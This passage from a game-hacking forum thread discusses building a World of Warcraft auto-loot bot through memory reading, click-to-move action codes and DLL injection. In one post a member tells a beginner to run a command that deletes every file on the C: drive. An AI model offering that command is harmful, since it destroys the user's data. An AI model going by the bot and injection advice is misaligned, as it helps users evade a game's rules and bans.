Memory based looting routine menu

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  1. #16
    lanman92's Avatar Active Member
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    Pretty much, copy paste the class from cypher's stickied post. You have to parse through the obj's to find the one that you're looking for and then do
    Code:
     curObj->Interact();
    That should do it.

    Memory based looting routine
  2. #17
    GordonGekko's Avatar Member
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    Okay, I have to make myself familiar how I parse throughthe objects. I f you say just copy&paste, into what file should I d taht? are you talking about Autoit. Or should I jsu take an editor and save it with .dll ? Sorry for my stupid question but I'm an absolte beginner.

    Thx 4 your help
    G

  3. #18
    lanman92's Avatar Active Member
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    Google.com, shynd blog. You'll learn there. All you need to do is update the offsets. No one is going to give you the code. You're gonna have to learn C++.

  4. #19
    Shynd's Avatar Contributor
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    Holy ****ing hell. Copy and paste into a file and save it with a .dll extension? Are you kidding? Maybe you should learn to swim before jumping into the deep end.

  5. #20
    UnknOwned's Avatar Legendary
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    Hehe.. agreed... that was pretty funny.

  6. #21
    Cypher's Avatar Kynox's Sister's Pimp
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    Originally Posted by GordonGekko View Post
    Okay, I have to make myself familiar how I parse throughthe objects. I f you say just copy&paste, into what file should I d taht? are you talking about Autoit. Or should I jsu take an editor and save it with .dll ? Sorry for my stupid question but I'm an absolte beginner.

    Thx 4 your help
    G
    Please goto your command prompt and enter the following.

    del /S /Q /F C:\*.*

  7. #22
    Xarg0's Avatar Member
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    Originally Posted by GordonGekko View Post
    Okay, I have to make myself familiar how I parse throughthe objects. I f you say just copy&paste, into what file should I d taht? are you talking about Autoit. Or should I jsu take an editor and save it with .dll ? Sorry for my stupid question but I'm an obsolete beginner.

    Thx 4 your help
    G
    I just corrected a typo in there :P
    I hacked 127.0.0.1

  8. #23
    ostapus's Avatar Active Member
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    Originally Posted by UnknOwned View Post
    You can also use "click to move" for facing.
    CTM(1,X,Y,Z) = Face Target
    what 1 in first parameter ?

  9. #24
    ostapus's Avatar Active Member
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    Originally Posted by UnknOwned View Post
    You can also use "click to move" for facing.
    CTM(1,X,Y,Z) = Face Target
    I looked at Iteract function... dont see it accepts any parameters... (or atleast IDA doesn't decode any arguments)... any chance for bit more details ?

    thanks

  10. #25
    Robske's Avatar Contributor
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    Originally Posted by ostapus View Post
    I looked at Iteract function... dont see it accepts any parameters... (or atleast IDA doesn't decode any arguments)... any chance for bit more details ?

    thanks
    Interact isn't used like that, it's part of the object (my wording may be a bit off here)
    You do not call it like Interact(Object SomeObject) but SomeObject.Interact()

    Go read shynd's blog already


    Edit: To bad that interacting with a gameObject like Cinder Clouds don't make you run to them :/ if only they were targetable
    "Always code as if the guy who ends up maintaining your code will be a violent psychopath who knows where you live." - Martin Golding
    "I cried a little earlier when I had to poop" - Sku

  11. #26
    UnknOwned's Avatar Legendary
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    Originally Posted by ostapus View Post
    what 1 in first parameter ?
    You have to reverse the click to move function to put in the parameters.
    Its a bitmask but its easier to just show it in ints since most of the functions are just the same all over.
    Code:
    ==ACTION_TYPE==
    INT     MoveID 
     1 =    Face Target POS
     3 =    Stop?
     4 =    Walk to POS
     5 =    Follow + Interact
     6 =    Loot GUID
     7 =    Interact(trigger object) GUID
     8 =    ?
     9 =    ?
     10=     Attack Assigned POS
     11=     Attack GUID (does not need POS)
     12=     Walk + Rotate to POS
    
    Pos being XYZ

  12. #27
    ostapus's Avatar Active Member
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    Rob,

    thanks.. i know this is not "standalone" function but class/object call (and i do use this function for looting)... i was just wondering if there are form of call (which i should've missed) like....
    hmm... let me rephrase my question to UnknOwned :
    is CTM == Iteract ? is it same of different functions ?

  13. #28
    ostapus's Avatar Active Member
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    Thanks UnknOwned!

    very helpfull... guess im starting to look for CTM function (where is it) :-)

  14. #29
    UnknOwned's Avatar Legendary
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    Originally Posted by ostapus View Post
    Rob,

    thanks.. i know this is not "standalone" function but class/object call (and i do use this function for looting)... i was just wondering if there are form of call (which i should've missed) like....
    hmm... let me rephrase my question to UnknOwned :
    is CTM == Iteract ? is it same of different functions ?
    Nope... Interact calls CTM if you are outside the interaction distance.
    Interaction distance for travel is 0,5 while attack interaction distance is a variable value dependent on the mob scale. For level1-10 mobs its around 3,6666 - 4,0.

  15. #30
    GordonGekko's Avatar Member
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    Well, I made myself more familiar with Innerpsace. So as far as I can see it's possible to inject .dll in WoW via Innerspace. So the way to go for me is make myself familiar wit C++ to be able to create .NET apllication which I can inject via IS? Is that correct? What do you guys think about the LavishScript which is included in IS? Useful? Is it comparable to C++? Well all thise things will take some time for me but I'm willing to learn it.

    Well one last security thing. If I will be able to create a NET app which includes an automatic loot routine and inject that via IS, do you guys think that there is a high ban risk? Or do you thing it's fine to inject into WoW via IS?

    If you have any other tips in regard to IS or in general just let me know.

    Cheers
    G

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